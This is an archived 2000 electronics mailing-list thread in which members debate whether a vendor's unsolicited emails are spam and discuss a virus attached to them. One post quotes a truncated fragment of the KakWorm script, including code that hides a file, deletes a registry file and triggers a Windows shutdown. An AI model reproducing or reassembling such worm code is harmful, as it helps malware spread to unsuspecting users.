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'Todd is SPAMming us was[OT] To those looking for 7'
2000\04\19@134915 by Scott Dattalo

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On Wed, 19 Apr 2000, Andrew Kunz wrote:

> Todd does these periodically.  I don't think it's spam, really.  This kind of
> stuff interests us.

If everyone who thought that they had something interesting to send to me felt
justified to send an unsolicited message then my hard would be bursting at the
seams. In every sense of the definition, Todd sent me and perhaps hundreds
others SPAM. Most of us aren't tolerant to this kind of bull shit.

2000\04\19@135456 by Thomas C. Sefranek

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Scott Dattalo wrote:

> In-Reply-To: <852568C6.005FDFAB.00spamKILLspamtransdev.com>
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> On Wed, 19 Apr 2000, Andrew Kunz wrote:
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> > Todd does these periodically.  I don't think it's spam, really.  This kind of
> > stuff interests us.
>
> If everyone who thought that they had something interesting to send to me felt
> justified to send an unsolicited message then my hard would be bursting at the
> seams. In every sense of the definition, Todd sent me and perhaps hundreds
> others SPAM. Most of us aren't tolerant to this kind of bull shit.

Since you did NOT include [OT] in the subject line you too are guilty!

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2000\04\19@144735 by Joe Dudas

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Before we all get in a huge huff and kill the poor guy, he is helping out in
some strange way. What bothers me are the ActiveX controls Win2k is telling
me are unsafe..

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2000\04\19@152926 by Jerry Merrill

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Its SPAM in my book.  I received 4 copies of this unsolicited email.  Its
one thing to post 'interesting' new product announcements to the list, but
something entirely different (SPAM) to broadcast junk mail directly to me
through a number of different channels.


At 12:53 PM 4/19/00 , you wrote:
>Scott Dattalo wrote:
>
>> In-Reply-To: <852568C6.005FDFAB.00spamspam_OUTtransdev.com>
>> Message-ID: <@spam@Pine.LNX.4.21.0004191238540.9679-100000KILLspamspamtempest2.blackhat.net>> >> MIME-Version: 1.0
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>> On Wed, 19 Apr 2000, Andrew Kunz wrote:
>>
>> > Todd does these periodically.  I don't think it's spam, really.  This
kind of
>> > stuff interests us.
>>
>> If everyone who thought that they had something interesting to send to
me felt
>> justified to send an unsolicited message then my hard would be bursting
at the
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Jerry Merrill

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TechTools
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2000\04\19@165736 by Kieran Miller

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> Before we all get in a huge huff and kill the poor guy, he is helping out in
> some strange way. What bothers me are the ActiveX controls Win2k is telling
> me are unsafe..

That's because he's got the Wscript.KakWorm virus, and it's attached to the
email (this bit is stuck on the end of the two emails I've got from him so
far...)

');t3.close();fs.GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.re
g');d=new Date();if(d.getDate()==1
d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today
!');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 driver
memory alloc failed   !]]%%%%%4))||(agt.indexOf("msie 5.")!=-1))scr.write();
//  -->

Pretty harmless though - especially to my Mac.. :)

Kieran

2000\04\19@174411 by Grif\ w. keith griffith

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<x-flowed>I agree with this one,,,

At 02:26 PM 4/19/00 -0500, you wrote:
>Its SPAM in my book.  I received 4 copies of this unsolicited email.  Its
>one thing to post 'interesting' new product announcements to the list, but
>something entirely different (SPAM) to broadcast junk mail directly to me
>through a number of different channels.


'Grif'   N7IVS

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2000\04\19@191439 by Nick Taylor

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Todd Peterson's spam was also sent to members of the basicstamp
list and the atmel list as well as the PICLIST!  It was posted
from splitrock.net.  Descelia Ward <spamBeGonedwardspamBeGonespamsplitrock.net> is the
person who handles spam problems there.

- Nick

2000\04\19@194115 by Jerry Merrill

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Perhaps I was too quick to call it SPAM then.  His product announcements
may well be of interest to all of those groups.  I just jumped the gun
because I received 4 separate copies and they were all caught by my SPAM
filter and diverted.  I did not realize they all came from lists I
subscribe to.

I withdraw my SPAM vote and align with Andy...it looks more like an
announcement that COULD be of interest to the group(s) he posted to.

I know that many of my customers monitor this list and welcome an
announcement when we release support for new PICs or enhance our tools.  We
don't bombard the list with advertisements, but I think I would feel free
to make pertinent announcements at times without being tagged a SPAMMER. Of
course 'pertinent' is in the eye of the PICLISTER.



At 06:12 PM 4/19/00 , you wrote:
>Todd Peterson's spam was also sent to members of the basicstamp
>list and the atmel list as well as the PICLIST!  It was posted
>from splitrock.net.  Descelia Ward <TakeThisOuTdwardEraseMEspamspam_OUTsplitrock.net> is the
>person who handles spam problems there.
>
> - Nick
>
Jerry Merrill

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2000\04\19@194320 by James Michael Newton

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Um... where did you get that [OT] was not in the subject line... I can see
it.

SPAM is bad, period. If you didn't ask to have information sent to you, your
resources are being used with out your permission. Todd didn't send this to
the list (as he could have with a nice [OT]...) but probably mined the list
posts for email. If he is on the list, I will unsubscribe him tomorrow (I'm
out sick today) or Mark or Mike will.

Todd does include a remove address and while most of these are just a trap,
the fact that his is at the company address indicates that its probably
valid. If you don't want to get anymore but your not upset about it, just
follow his instructions to get off his list.

If you want to do the RIGHT THING (IMHO) use
http://www.spamcop.net
 or
http://www.samspade.com
to automatically report him to everyone from his ISP to the blacklist orgs.

That's my opinion anyway.

James Newton, PICList Admin #3
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2000\04\19@195414 by Spehro Pefhany

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At 06:39 PM 4/19/00 -0500, you wrote:
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>I withdraw my SPAM vote and align with Andy...it looks more like an
>announcement that COULD be of interest to the group(s) he posted to.

I, for one, do *not* want to receive mass-mail SPAM directly at my
e-mail address as a result of posting in mailing lists (or USENET
for that matter). I try very hard to keep my real address and name
with no anti-SPAM adulteration and this sort of cr*p is an irritant.

In the list, fine, though it should have something indicating that
it is [OT] and that it is an advertisement, unless it is in answer to
an appropriate question, in which case it inherits the title of the
question.

And, yes, the SPAM e-mails included a virus as a "bonus". Norton
2000 caught it for me, and it wouldn't have gotten me anyway, but
I did have to notice it.

Keep it away! At this point, I'll just ignore it and think a little
less of Todd's operation, others can and will complain to Todd's ISP.

Keep it up, and maybe I'll be p*ssed off enought to write an article
for Nuts and Volts that shows how to do all these things for free.

Best Regards,

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2000\04\19@200850 by Quitt, Walter

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Not to get into the fray but....

>-----Original Message-----
>From: Spehro Pefhany [RemoveMEspeffEraseMEspamEraseMEINTERLOG.COM]
>Sent: Wednesday, April 19, 2000 3:52 PM
>To: RemoveMEPICLISTspam_OUTspamKILLspamMITVMA.MIT.EDU
>Subject: Re: Todd is SPAMming us was[OT] To those looking for
>7-segment...
>
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>At 06:39 PM 4/19/00 -0500, you wrote:
>
[snip]
>
>And, yes, the SPAM e-mails included a virus as a "bonus". Norton
>2000 caught it for me, and it wouldn't have gotten me anyway, but
>I did have to notice it.
>
>
After I read this, I updated my virus list.  I ran Norton Antivirus
and it came up clean.  No viruses found.  Maybe my version of NAV
won't do it?  It is 4.04. Wonder waz up with that? Running win95b
and Outlook 98 on this box.

-Walt...

2000\04\20@074803 by Andrew Kunz

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Have you guys calling Todd a spammer ever actually visited his site?

Andy









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At 06:39 PM 4/19/00 -0500, you wrote:
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>I withdraw my SPAM vote and align with Andy...it looks more like an
>announcement that COULD be of interest to the group(s) he posted to.

I, for one, do *not* want to receive mass-mail SPAM directly at my
e-mail address as a result of posting in mailing lists (or USENET
for that matter). I try very hard to keep my real address and name
with no anti-SPAM adulteration and this sort of cr*p is an irritant.

In the list, fine, though it should have something indicating that
it is [OT] and that it is an advertisement, unless it is in answer to
an appropriate question, in which case it inherits the title of the
question.

And, yes, the SPAM e-mails included a virus as a "bonus". Norton
2000 caught it for me, and it wouldn't have gotten me anyway, but
I did have to notice it.

Keep it away! At this point, I'll just ignore it and think a little
less of Todd's operation, others can and will complain to Todd's ISP.

Keep it up, and maybe I'll be p*ssed off enought to write an article
for Nuts and Volts that shows how to do all these things for free.

Best Regards,

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2000\04\20@081359 by Scott Dattalo

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On Thu, 20 Apr 2000, Andrew Kunz wrote:

> Have you guys calling Todd a spammer ever actually visited his site?

Yes.

I've also have visited Don's, Clyde's, Walter's, Microchip's, and countless
other pic related sites (even yours). However, Todd is one of the few who feels
obligated in spamming me. The end doesn't justify the means, Andy. Surely you
don't think otherwise?

Scott

2000\04\20@081546 by andy howard

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>From: "Andrew Kunz" <spamBeGoneakunzSTOPspamspamEraseMETDIPOWER.COM>


> Have you guys calling Todd a spammer ever actually visited his site?


Absolutely not.

The spam (so far I have received 4 copies), his being slapdash enough to
include a virus in his spam, the fact that even at this late date he
hasn't issued any warning about or apology for the virus (or indeed for
the spam) in any of the places he originally posted them - leading to
the conclusion that he's not even reading the lists he's spammed; all
this indicates enough about Todd and his company to decide if I want to
do business with them.

YMMV. Guess what I decided.















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2000\04\20@082805 by Andrew Kunz

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No, it never does.  The means and mindset are usually much more important.

Clyde posted about the free PICC product recently.  Most folks on the list
aren't using PICC (yet).

Microchip posted about the vaporware MPLAB/32.  I don't use MPLAB at all.  I go
with Tech Tools.

Todd sent his info to 4 techie lists (including one of people who actually
signed up for these announcements).  While I've never designed one of his chips
into my stuff, it is useful.  Even if I just study the schematics he publishes
on his site (the parallel port one I've "borrowed").  And if I recall correctly
(which might not be the case), he actually advertised in EEPN or something like
that recently.  Takes bucks and a commitment to afford that.

I don't think he deserves being labeled a spammer.

No matter what you think, it sure beats the crap I get from NEVERPAYTAXES@...
and NAKEDTEENS@... when they spam me.  That's SPAM.  Product announcements to a
group of folks who actually have interest in these things (ie, maybe as things
they have developed, too) isn't.

I think you all (not just you Scott) are being too hard on him.

Betcha he never does it again though!

Andy










Scott Dattalo <KILLspamscottspamBeGonespamDATTALO.COM> on 04/20/2000 08:13:08 AM

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On Thu, 20 Apr 2000, Andrew Kunz wrote:

> Have you guys calling Todd a spammer ever actually visited his site?

Yes.

I've also have visited Don's, Clyde's, Walter's, Microchip's, and countless
other pic related sites (even yours). However, Todd is one of the few who feels
obligated in spamming me. The end doesn't justify the means, Andy. Surely you
don't think otherwise?

Scott

2000\04\20@083609 by Alan B Pearce

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>I don't think he deserves being labeled a spammer.

the reason he is being labelled as this is the method he has used to collect the
addresses to send the messages! I received a message from him, I have never had
contact with him or his website, and frankly, if he does not check for viruses
on his system, then he deserves all the brown stuff to hit the fan when a virus
is attached to an email he sends.

2000\04\20@084225 by artky1k

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> I think you all (not just you Scott) are being too hard on him.
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> Betcha he never does it again though!
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Does it again? I've gotten 3 of his spams so far, the most recent
one was sent to my private email address--which is not given out to
the public.

I will send a formal spam complaint to his ISP and atleast 3
upstream providers per current antispam protocol. The
spamvertised website (as well as 3 upsteam providers gets a
formal complaint too).

The only proper response to spam is to issue a PROPER and
FORMAL complaint to the associated ISP's-not to discuss it on
these otherwise GREAT mailing lists.

Art

2000\04\20@084645 by Andrew Kunz

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Todd collects addresses ONLY from folks who ask to be on his new products list.

The other copies you got were because he's a MEMBER of several newgroups to
which you also subscribe.

Andy










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>I don't think he deserves being labeled a spammer.

the reason he is being labelled as this is the method he has used to collect the
addresses to send the messages! I received a message from him, I have never had
contact with him or his website, and frankly, if he does not check for viruses
on his system, then he deserves all the brown stuff to hit the fan when a virus
is attached to an email he sends.

2000\04\20@085719 by Alan B Pearce

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>Todd collects addresses ONLY from folks who ask to be on his new products list.

WRONG. Read my previous post again. I specifically stated I have NEVER had
contact with him, i.e. never provided him with my email address. He has got my
email address from somewhere else, probably this list it seems.

>The other copies you got were because he's a MEMBER of several newgroups to
>which you also subscribe.

I never received a message from him through this list. The only ones from him
that have come through this list to me have been as quotes by other members of
the list.

2000\04\20@090936 by Andrew Kunz

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Thanks for spamming me with two copies of your reply.

Andy

2000\04\20@092153 by Michael Rigby-Jones

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<P><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">I have to agree with Andy.&nbsp; It is unfortunate that Todd doesn't virus check his PC, but instead of bitching about it informing him of the situation would be far more productive.&nbsp; I have no time for the scum that send &quot;make money fast&quot; and porn links to me, I always report them.&nbsp; However, Todd is running a business which has relevance to the member of this list.&nbsp; I have received several posts from him in the past announcing new IC's and I don't consider them spam.&nbsp; The guy may have been a little over zealous in his posting, but everybody makes a screw up occasionally, it's something to do with being human I believe.&nbsp; </FONT></P>

<P><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">The only proper response to this situation is to email Todd and voice your dissaproval if you feel that strongly.&nbsp; *IF* you continue to receive mail from him after this, *THEN* contact his provider.</FONT></P>

<P><FONT COLOR="#0000FF" SIZE=2 FACE="Arial">Mike</FONT>
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2000\04\20@095409 by paulb

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Michael Rigby-Jones wrote:

> I have to agree with Andy.
---->8------->8------->8------->8------->8---

 This thread, or a previous incarnation thereof, previously involved a
chinese org providing a "service", did it not?  Who was that now?

 Ahh, yes (brain kicks in)!  Starfire Zhu.  He's pretty quiet now!
--
 Cheers,
       Paul B.

2000\04\20@100032 by Don McKenzie

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CC: Piclist, SimmStick User Group.

> Michael Rigby-Jones wrote:
>
> I have to agree with Andy.  It is unfortunate that Todd doesn't virus
> check his PC, but instead of bitching about it informing him of the
> situation would be far more productive.  I have no time for the scum
> that send "make money fast" and porn links to me, I always report
> them.  However, Todd is running a business which has relevance to the
> member of this list.  I have received several posts from him in the
> past announcing new IC's and I don't consider them spam.  The guy may
> have been a little over zealous in his posting, but everybody makes a
> screw up occasionally, it's something to do with being human I
> believe.
>
> The only proper response to this situation is to email Todd and voice
> your dissaproval if you feel that strongly.  *IF* you continue to
> receive mail from him after this, *THEN* contact his provider.

Todd posted to me several times also.
I told him the SimmStick User Group posting was OK as it was related to
our game, and providing it wasn't abused. "Could I complain about that?"
:-) The same basic rules apply on the PIClist, so I have to defend his
posting to the SimmStick list, as it was the first we had seen from him.
In fact, I didn't even raise an eyebrow when he posted. All was well
until I learnt of the potential virus.

However I did ask him to remove me from his private mailing list. I also
informed him what appeared to be a virus script was attached to his
emails, and several people had complained to me about this. They also
said they would speak with Todd about the problem.

I know Todd is a responsible adult trying to make a living like all of
us, so I also know he wasn't aware of the virus, and it wasn't
intentional.

We have seen similar things from many members in the past few months,
and it has been done unintentionally, and without their knowledge. It
may be you (or me <gasp!>) next time!

Don McKenzie    TakeThisOuTdonKILLspamspamspamdontronics.com      http://www.dontronics.com

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2000\04\20@102838 by Joe Dowlen

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Yes, I did.  And within 30 minutes of the visit I got spammed with the virus
from that web site.

Joe
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2000\04\20@103310 by Joe Dowlen

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NOT TRUE!

I just visited the site and did not enter any information. Got spammed by
them within 30 minutes of my 'visit'.

Joe
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2000\04\20@133310 by jamesnewton

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That is absolutely NOT TRUE. Todd did NOT post his SPAM on the PICList. He
MINED the PICList for email addresses and sent them directly. HE SPAMmed!
Period. Most of the people who received his... stuff... from one of the
other lists, like SXTECH, etc... also received it directly to the email
address they use on the PICList.

Also, I know beyond a shadow of a doubt that I never asked for information
from that company (I keep a log) and I got... SPAMmed from him on 4 separate
email addresses (two copies each).

Your friend crossed the line... He is a SPAMmer... And from what I'm
hearing, he isn't honoring peoples remove requests either.

Damn, I'm pissed about this... I need to calm down...

---
James Newton .....jamesnewtonspamRemoveMEgeocities.com 1-619-652-0593

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2000\04\21@030945 by Caisson

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> Van: Andrew Kunz <RemoveMEakunzspamspamBeGoneTDIPOWER.COM>
> Aan: spamBeGonePICLIST@spam@spamspam_OUTMITVMA.MIT.EDU
> Onderwerp: Re: Todd is SPAMming us was[OT] To those looking for
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> Datum: donderdag 20 april 2000 13:45
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> Have you guys calling Todd a spammer ever actually visited his site?

Hello Andrew

Does it matter how is Site looks like ?  Or if he is a good christian, and
respects his elder, donates to good causes and helps old ladies cross the
road ?

If he is sending bulk E-Mail to people who did not ask for it, He's a
Spammer.

Regards,
 Rudy Wieser

2000\04\21@221227 by Jeffrey D Spears

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If this is the case, then I must say their methods appear unsound.


On Thu, 20 Apr 2000, Joe Dowlen wrote:

> NOT TRUE!
>
> I just visited the site and did not enter any information. Got spammed by
> them within 30 minutes of my 'visit'.
>
> Joe
> {Original Message removed}

2000\04\30@084826 by briang

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Michael Rigby-Jones <mrjonesEraseMEspamNORTELNETWORKS.COM> wrote:
> I have to agree with Andy.  It is unfortunate that Todd doesn't virus check
> his PC, but instead of bitching about it informing him of the situation
> would be far more productive.

I emailed him saying (politely) that he'd emailed me a virus.
I haven't received any response or any apology.
I consider that to be unacceptable.

Brian Gregory.
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